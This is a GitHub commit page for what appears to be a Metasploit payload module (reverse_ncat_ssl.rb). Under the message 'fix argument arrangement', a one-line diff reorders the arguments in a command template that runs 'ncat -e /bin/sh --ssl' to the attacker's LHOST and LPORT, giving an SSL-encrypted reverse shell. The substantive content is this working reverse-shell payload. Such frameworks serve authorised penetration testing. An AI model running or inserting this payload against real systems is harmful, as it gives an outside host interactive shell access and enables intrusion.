Skip to content

Commit 9e06c3f

Browse files
committed
fix argument arrangement
1 parent 5a2afbc commit 9e06c3f

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ def generate
4545
# Returns the command string to use for execution
4646
#
4747
def command_string
48-
"ncat --ssl #{datastore['LHOST']} #{datastore['LPORT']} -e /bin/sh "
48+
"ncat -e /bin/sh --ssl #{datastore['LHOST']} #{datastore['LPORT']}"
4949
end
5050

5151
end

0 commit comments

Comments
 (0)